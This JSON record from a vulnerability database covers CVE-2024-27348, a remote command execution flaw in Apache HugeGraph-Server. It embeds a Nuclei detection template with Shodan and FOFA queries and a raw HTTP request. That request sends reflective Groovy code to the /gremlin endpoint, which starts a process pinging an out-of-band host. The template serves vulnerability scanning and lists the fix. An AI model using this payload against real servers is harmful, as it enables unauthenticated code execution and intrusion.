{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-27348/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-27348/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-27348/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-27348/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-27348/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-27348"},"sightings":{"href":"/api/v1/sightings/cve-2024-27348"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-27348.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2024-27348\n\ninfo:\n  name: Apache HugeGraph-Server - Remote Command Execution\n  author: DhiyaneshDK\n  severity: high\n  description: |\n    Apache HugeGraph-Server is an open-source graph database that provides a scalable and high-performance solution for managing and analyzing large-scale graph data. It is commonly used in Java8 and Java11 environments. However, versions prior to 1.3.0 are vulnerable to a remote command execution (RCE) vulnerability in the gremlin component.\n  impact: |\n    Unauthenticated attackers can execute arbitrary commands via the gremlin component in Apache HugeGraph-Server, potentially compromising the entire graph database system.\n  remediation: |\n    Update Apache HugeGraph-Server to version 1.3.0 or later.\n  reference:\n    - http://www.openwall.com/lists/oss-security/2024/04/22/3\n    - https://hugegraph.apache.org/docs/config/config-authentication/#configure-user-authentication\n    - https://lists.apache.org/thread/nx6g6htyhpgtzsocybm242781o8w5kq9\n    - https://github.com/Zeyad-Azima/CVE-2024-27348\n    - https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2024-27348\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-27348\n  classification:\n    cve-id: CVE-2024-27348\n    cwe-id: CWE-77\n    epss-score: 0.9921\n    epss-percentile: 0.99935\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: title:\"HugeGraph\"\n    fofa-query: title=\"HugeGraph\"\n  tags: cve,cve2024,hugegraph,rce,apache,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /gremlin HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"gremlin\": \"Thread thread = Thread.currentThread();Class clz = Class.forName(\\\"java.lang.Thread\\\");java.lang.reflect.Field field = clz.getDeclaredField(\\\"name\\\");field.setAccessible(true);field.set(thread, \\\"SL7\\\");Class processBuilderClass = Class.forName(\\\"java.lang.ProcessBuilder\\\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\\\"ping\\\", \\\"{{interactsh-url}}\\\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\\\"start\\\");startMethod.invoke(processBuilderInstance);\", \"bindings\": {}, \"language\": \"gremlin-groovy\", \"aliases\": {}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(interactsh_protocol, \"dns\")'\n          - 'contains(header, \"application/json\")'\n          - 'contains(body, \"inputStream\\\":\")'\n        condition: and\n# digest: 4a0a00473045022100d52bbcca9d04b2dc03249ce6eb63fff7032f5d429fbe9aa3dbbe06a4ed2ccae602201cb76938e9d55b71263bfc4e5b206a5579e8230d77f493de93e8d2c19523df52:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-27348"}